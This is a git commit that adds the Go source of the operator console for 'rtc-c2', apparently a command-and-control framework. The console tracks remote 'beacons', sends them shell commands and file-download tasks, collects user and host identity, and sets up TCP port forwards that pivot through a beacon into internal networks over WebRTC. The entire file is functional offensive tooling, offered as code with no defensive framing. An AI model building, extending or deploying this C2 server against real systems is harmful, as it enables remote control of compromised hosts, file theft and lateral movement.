Upload files to "rtc-c2/cmd/operator"

This commit is contained in:
2026-06-10 17:16:27 +00:00
parent 1f14ea5452
commit 9a3617e00e
+634
View File
@@ -0,0 +1,634 @@
// Command operator is the C2 server that tasks beacons through WebRTC tunnels.
// It provides an interactive console for issuing commands and managing forwards.
//
// Direct TCP forward over WebRTC data channels — like SSH -L style
// port forwarding, but encrypted inside WebRTC DTLS.
package main
import (
"bufio"
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/pion/webrtc/v4"
"github.com/ek0ms/rtc-c2/pkg/protocol"
"github.com/ek0ms/rtc-c2/pkg/signaller"
"github.com/ek0ms/rtc-c2/pkg/transport"
"github.com/ek0ms/rtc-c2/pkg/tunnel"
)
type BeaconSession struct {
ID string
Hostname string
Username string
OS string
Arch string
FirstSeen time.Time
LastSeen time.Time
Peer *transport.Peer
Pending map[string]*protocol.Task
mu sync.RWMutex
}
type Operator struct {
mu sync.RWMutex
peer *transport.Peer
beaconID string
beacons map[string]*BeaconSession
sessions map[string]*BeaconSession
tunnelBr *tunnel.Bridge
sigServer *signaller.SignallerServer
forwards map[string]*tunnel.ForwardListener
activeBeacon string // currently selected beacon ID
}
func main() {
var (
sigAddr = flag.String("sig-addr", ":9090", "Signaller listen address")
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
operatorID = flag.String("id", "operator-1", "Operator ID")
useTURN = flag.Bool("turn", false, "Use TURN relay")
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
)
flag.Parse()
log.SetFlags(log.LstdFlags | log.Lshortfile)
op := &Operator{
beacons: make(map[string]*BeaconSession),
sessions: make(map[string]*BeaconSession),
forwards: make(map[string]*tunnel.ForwardListener),
}
// --- Start signaller ---
op.sigServer = signaller.NewSignallerServer(*sigAddr)
go func() {
log.Printf("[operator] signaller on %s", *sigAddr)
if err := op.sigServer.Start(); err != nil {
log.Printf("[operator] signaller stopped: %v", err)
}
}()
time.Sleep(200 * time.Millisecond)
// --- Configure transport ---
cfg := transport.DefaultConfig(transport.RoleOperator)
cfg.PeerID = *operatorID
if *useTURN {
cfg.WithTURN(
[]string{"turn:127.0.0.1:3478"},
"rtc-c2",
"rtc-c2-pass",
)
}
peer, err := transport.NewPeer(cfg)
if err != nil {
log.Fatalf("[operator] create peer: %v", err)
}
op.peer = peer
// --- Setup signaller connection ---
var sig signaller.Signaller
if *wsSignaller {
sig = signaller.NewWebSocketSignaller(
fmt.Sprintf("ws://127.0.0.1%s/ws", *sigAddr),
*sessionKey, "operator",
)
log.Printf("[operator] using WebSocket signaller")
} else {
sig = signaller.NewHTTPSignaller(
fmt.Sprintf("http://127.0.0.1%s", *sigAddr),
*sessionKey, "operator",
)
}
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
return sig.SendLocalDescription(sdp)
}
// --- Setup tunnel bridge (direct TCP forward) ---
op.tunnelBr = tunnel.NewBridge()
op.tunnelBr.OnData = func(tunnelID tunnel.TunnelID, data []byte) {
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, *operatorID, map[string]interface{}{
"tunnel_id": string(tunnelID),
"data": data,
})
if err != nil {
return
}
msg, _ := env.Serialize()
_ = peer.Send(msg)
}
// --- Handle incoming messages ---
peer.OnMessage(func(data []byte) {
env, err := protocol.ParseEnvelope(data)
if err != nil {
log.Printf("[operator] parse error: %v", err)
return
}
op.handleMessage(env)
})
peer.OnStateChange(func(evt transport.PeerEvent) {
log.Printf("[operator] peer state: %s", evt.State)
})
// --- Connect ---
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
log.Printf("[operator] connecting...")
if err := peer.Connect(ctx); err != nil {
log.Fatalf("[operator] connect: %v", err)
}
log.Printf("[operator] ready — signaller on %s, session: %s", *sigAddr, *sessionKey)
log.Printf("[operator] beacon connects with: -signaller %s -session %s",
fmt.Sprintf("http://<this-ip>%s", *sigAddr), *sessionKey)
// --- Interactive console ---
go op.console()
defer op.consoleCleanup()
// --- Wait for signal ---
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
log.Printf("[operator] shutting down")
for _, fl := range op.forwards {
fl.Stop()
}
peer.Close()
op.sigServer.Stop()
}
func (op *Operator) handleMessage(env *protocol.Envelope) {
switch env.Type {
case protocol.MsgRegister:
var reg protocol.RegisterPayload
if err := env.ExtractPayload(&reg); err != nil {
log.Printf("[operator] extract register: %v", err)
return
}
op.handleRegister(reg)
case protocol.MsgHeartbeat:
var hb protocol.HeartbeatPayload
if err := env.ExtractPayload(&hb); err != nil {
return
}
op.updateHeartbeat(hb)
case protocol.MsgTaskResult:
var result protocol.TaskResult
if err := env.ExtractPayload(&result); err != nil {
log.Printf("[operator] extract result: %v", err)
return
}
op.handleTaskResult(env.SenderID, &result)
case protocol.MsgPong:
// latency measurement
case protocol.MsgTunnelData:
var payload struct {
TunnelID string `json:"tunnel_id"`
Data []byte `json:"data"`
}
if err := env.ExtractPayload(&payload); err != nil {
log.Printf("[operator] extract tunnel data: %v", err)
return
}
payloadStr := string(payload.Data)
if strings.HasPrefix(payloadStr, "OPENED:") {
log.Printf("[operator] tunnel %s opened -> %s",
payload.TunnelID, strings.TrimPrefix(payloadStr, "OPENED:"))
} else if payloadStr == "CLOSED" {
op.tunnelBr.CloseTunnel(tunnel.TunnelID(payload.TunnelID))
} else {
op.tunnelBr.HandleData(tunnel.TunnelID(payload.TunnelID), payload.Data)
}
case protocol.MsgError:
var errPayload protocol.ErrorPayload
if err := env.ExtractPayload(&errPayload); err == nil {
log.Printf("[operator] error from beacon: %s", errPayload.Message)
}
default:
log.Printf("[operator] unknown message type: %s", env.Type)
}
}
func (op *Operator) handleRegister(reg protocol.RegisterPayload) {
op.mu.Lock()
defer op.mu.Unlock()
now := time.Now()
beaconID := reg.BeaconID
if existing, ok := op.beacons[beaconID]; ok {
existing.LastSeen = now
existing.Hostname = reg.Hostname
existing.Username = reg.Username
existing.OS = reg.OS
existing.Arch = reg.Arch
log.Printf("[operator] beacon %s re-registered", beaconID)
return
}
session := &BeaconSession{
ID: beaconID,
Hostname: reg.Hostname,
Username: reg.Username,
OS: reg.OS,
Arch: reg.Arch,
FirstSeen: now,
LastSeen: now,
Pending: make(map[string]*protocol.Task),
}
op.beacons[beaconID] = session
op.sessions[beaconID] = session
log.Printf("[operator] beacon registered: %s (%s@%s) %s/%s",
beaconID, reg.Username, reg.Hostname, reg.OS, reg.Arch)
fmt.Printf("\n[+] Beacon connected: %s — %s@%s (%s/%s)\n> ",
beaconID[:12], reg.Username, reg.Hostname, reg.OS, reg.Arch)
}
func (op *Operator) updateHeartbeat(hb protocol.HeartbeatPayload) {
op.mu.RLock()
session, ok := op.beacons[hb.BeaconID]
op.mu.RUnlock()
if !ok {
return
}
session.mu.Lock()
session.LastSeen = time.Now()
session.mu.Unlock()
}
func (op *Operator) handleTaskResult(beaconID string, result *protocol.TaskResult) {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
log.Printf("[operator] result from unknown beacon: %s", beaconID)
return
}
session.mu.Lock()
delete(session.Pending, result.TaskID)
session.mu.Unlock()
status := "✓"
if !result.Success {
status = "✗"
}
fmt.Printf("\n[%s] Task %s %s (exit: %d, %dms)\n",
beaconID[:12], result.TaskID[:8], status, result.ExitCode, result.Duration)
if result.Output != "" {
fmt.Printf("%s\n", result.Output)
}
if result.Error != "" {
fmt.Printf("Error: %s\n", result.Error)
}
fmt.Print("> ")
}
func (op *Operator) sendTask(beaconID string, task *protocol.Task) error {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
return fmt.Errorf("beacon %s not connected", beaconID)
}
env, err := protocol.NewEnvelope(protocol.MsgTask, op.peer.Config().PeerID, task)
if err != nil {
return fmt.Errorf("create envelope: %w", err)
}
msg, err := env.Serialize()
if err != nil {
return fmt.Errorf("serialize: %w", err)
}
session.mu.Lock()
session.Pending[task.ID] = task
session.mu.Unlock()
return op.peer.Send(msg)
}
// --- Console ---
func (op *Operator) console() {
reader := bufio.NewReader(os.Stdin)
fmt.Println("\n=== rtc-c2 Operator Console ===")
fmt.Println("Commands: beacons, use <id>, forward <local:port> <remote:port>,")
fmt.Println(" forwards, stop-forward <local>, exec <cmd>, download <path>,")
fmt.Println(" info, help, exit")
fmt.Print("> ")
for {
line, err := reader.ReadString('\n')
if err != nil {
return
}
line = strings.TrimSpace(line)
if line == "" {
fmt.Print("> ")
continue
}
parts := strings.SplitN(line, " ", 2)
cmd := strings.ToLower(parts[0])
switch cmd {
case "exit", "quit":
fmt.Println("shutting down...")
return
case "help":
printHelp()
case "beacons", "list":
op.listBeacons()
case "use":
if len(parts) < 2 {
fmt.Println("usage: use <beacon-id>")
break
}
beaconID := strings.TrimSpace(parts[1])
op.activeBeacon = beaconID
op.useBeacon(beaconID, reader)
case "forward":
if len(parts) < 2 {
fmt.Println("usage: forward <local:port> <remote:port>")
fmt.Println(" forward 127.0.0.1:4444 10.0.1.100:80")
fmt.Println(" forward :8080 internal.service:443")
break
}
args := strings.Fields(parts[1])
if len(args) < 2 {
fmt.Println("usage: forward <local> <remote>")
break
}
op.startForward(args[0], args[1])
case "forwards":
op.listForwards()
case "stop-forward":
if len(parts) < 2 {
fmt.Println("usage: stop-forward <local-addr>")
break
}
op.stopForward(strings.TrimSpace(parts[1]))
case "socks":
fmt.Println("'socks' removed — use 'forward' for direct TCP forwarding")
default:
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
}
fmt.Print("> ")
}
}
func (op *Operator) startForward(localAddr, remoteAddr string) {
// Ensure local addr has a port
if !strings.Contains(localAddr, ":") {
fmt.Printf("bad local addr: %s (need host:port)\n", localAddr)
return
}
if !strings.Contains(remoteAddr, ":") {
fmt.Printf("bad remote addr: %s (need host:port)\n", remoteAddr)
return
}
// Prepend 127.0.0.1 if no explicit host
if strings.HasPrefix(localAddr, ":") {
localAddr = "127.0.0.1" + localAddr
}
fl, err := op.tunnelBr.StartForwardListener(localAddr, remoteAddr)
if err != nil {
fmt.Printf("forward error: %v\n", err)
return
}
op.mu.Lock()
op.forwards[localAddr] = fl
op.mu.Unlock()
fmt.Printf("[+] Forward: %s -> %s (via active beacon)\n", localAddr, remoteAddr)
}
func (op *Operator) listForwards() {
op.mu.RLock()
defer op.mu.RUnlock()
if len(op.forwards) == 0 {
fmt.Println("No active forwards")
return
}
fmt.Println("Active forwards:")
for local, fl := range op.forwards {
fmt.Printf(" %s -> %s (via beacon)\n", local, fl.TargetAddr)
}
}
func (op *Operator) stopForward(localAddr string) {
op.mu.Lock()
fl, ok := op.forwards[localAddr]
delete(op.forwards, localAddr)
op.mu.Unlock()
if !ok {
fmt.Printf("no forward on %s\n", localAddr)
return
}
fl.Stop()
fmt.Printf("[-] Forward stopped: %s\n", localAddr)
}
func (op *Operator) useBeacon(beaconID string, reader *bufio.Reader) {
op.mu.RLock()
session, ok := op.beacons[beaconID]
op.mu.RUnlock()
if !ok {
// Try prefix match
for id, s := range op.beacons {
if len(id) >= len(beaconID) && id[:len(beaconID)] == beaconID {
session = s
beaconID = id
ok = true
break
}
}
}
if !ok {
fmt.Printf("beacon '%s' not found\n", beaconID)
return
}
op.activeBeacon = beaconID
fmt.Printf("[+] Using beacon %s (%s@%s)\n", beaconID[:12], session.Username, session.Hostname)
fmt.Println(" Commands: exec <cmd>, info, download <path>, whoami, back")
fmt.Print(" > ")
for {
line, err := reader.ReadString('\n')
if err != nil {
return
}
line = strings.TrimSpace(line)
if line == "" {
fmt.Print(" > ")
continue
}
if line == "back" || line == "exit" {
return
}
parts := strings.SplitN(line, " ", 2)
subCmd := strings.ToLower(parts[0])
switch subCmd {
case "exec", "run":
if len(parts) < 2 {
fmt.Println("usage: exec <command>")
break
}
cmdName := strings.TrimSpace(parts[1])
go func() {
task, err := protocol.NewTask(protocol.TaskExec, &protocol.ExecArgs{
Command: cmdName,
})
if err != nil {
fmt.Printf("create task error: %v\n", err)
return
}
if err := op.sendTask(beaconID, task); err != nil {
fmt.Printf("send task error: %v\n", err)
return
}
fmt.Printf("[*] Task %s sent to %s\n", task.ID[:8], beaconID[:12])
}()
case "info":
task, _ := protocol.NewTask(protocol.TaskInfo, nil)
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Info request sent\n")
case "whoami":
task, _ := protocol.NewTask(protocol.TaskWhoami, nil)
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Whoami request sent\n")
case "download":
if len(parts) < 2 {
fmt.Println("usage: download <path>")
break
}
path := strings.TrimSpace(parts[1])
task, err := protocol.NewTask(protocol.TaskDownload, &protocol.DownloadArgs{
RemotePath: path,
})
if err != nil {
fmt.Printf("error: %v\n", err)
break
}
_ = op.sendTask(beaconID, task)
fmt.Printf("[*] Download request for %s sent\n", path)
default:
fmt.Println("commands: exec <cmd>, info, whoami, download <path>, back")
}
fmt.Print(" > ")
}
}
func (op *Operator) listBeacons() {
op.mu.RLock()
defer op.mu.RUnlock()
if len(op.beacons) == 0 {
fmt.Println("No beacons connected. Waiting...")
return
}
fmt.Printf("Connected beacons (%d):\n", len(op.beacons))
fmt.Println(strings.Repeat("-", 60))
fmt.Printf("%-24s %-16s %-8s %-8s\n", "Beacon ID", "User@Host", "OS", "Arch")
fmt.Println(strings.Repeat("-", 60))
for _, s := range op.beacons {
id := s.ID
if len(id) > 12 {
id = id[:12] + "..."
}
userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname)
fmt.Printf("%-24s %-16s %-8s %-8s\n", id, userHost, s.OS, s.Arch)
}
}
func printHelp() {
fmt.Print(`
Commands:
beacons List connected beacons
use <id> Interactive beacon session
forward <local> <remote> Direct TCP forward (SSH -L style)
Example: forward 127.0.0.1:4444 10.0.1.100:80
forwards List active forwards
stop-forward <local> Stop a forward listener
help Show this help
exit Shut down
Beacon session commands:
exec <cmd> Run command on beacon
info Get system info
whoami Get user identity
download <path> Download file from beacon
back Return to main menu
Example: forward 127.0.0.1:4444 internal.service:80
curl http://127.0.0.1:4444/path
`)
}
func (op *Operator) consoleCleanup() {
fmt.Print("\nShutting down...\n")
}